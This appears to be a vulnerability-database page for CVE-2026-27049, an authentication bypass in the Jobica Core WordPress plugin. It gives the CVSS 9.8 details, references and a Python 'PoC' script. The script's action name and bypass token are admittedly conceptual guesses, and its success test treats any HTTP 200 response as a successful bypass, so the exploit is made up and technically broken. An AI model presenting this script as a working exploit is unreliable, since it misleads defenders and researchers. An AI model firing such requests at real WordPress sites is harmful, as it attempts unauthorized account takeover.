CVE-2026-27049

Description

Authentication Bypass Using an Alternate Path or Channel vulnerability in NooTheme Jobica Core jobica-core allows Authentication Abuse.This issue affects Jobica Core: from n/a through <= 1.4.2.

CVSS Details

CVSS Score

9.8

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

NooTheme Jobica Core <= 1.4.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target configuration
target = "http://example.com"
vulnerable_endpoint = "/wp-admin/admin-ajax.php"

# Exploit payload simulating authentication bypass via alternate channel
# Note: This is a conceptual PoC based on the vulnerability description.
payload = {
    "action": "jobica_core_auth_check", 
    "user_login": "admin",
    "bypass_token": "alternate_path_payload"
}

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
    "Content-Type": "application/x-www-form-urlencoded"
}

try:
    response = requests.post(target + vulnerable_endpoint, data=payload, headers=headers, timeout=10)
    
    # Check if authentication was bypassed (hypothetical success indicator)
    if "dashboard" in response.text.lower() or response.status_code == 200:
        print("[+] Vulnerability exploited successfully! Authentication bypassed.")
    else:
        print("[-] Exploit failed or target not vulnerable.")
        
except Exception as e:
    print(f"[!] Error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-27049
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-27049
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-27049/
[4] VulDB https://vuldb.com/cve/CVE-2026-27049
[5] https://patchstack.com/database/Wordpress/Plugin/jobica-core/vulnerability/wordpress-jobica-core-plugin-1-4-2-account-takeover-vulnerability?_s_id=cve

Raw JSON Data

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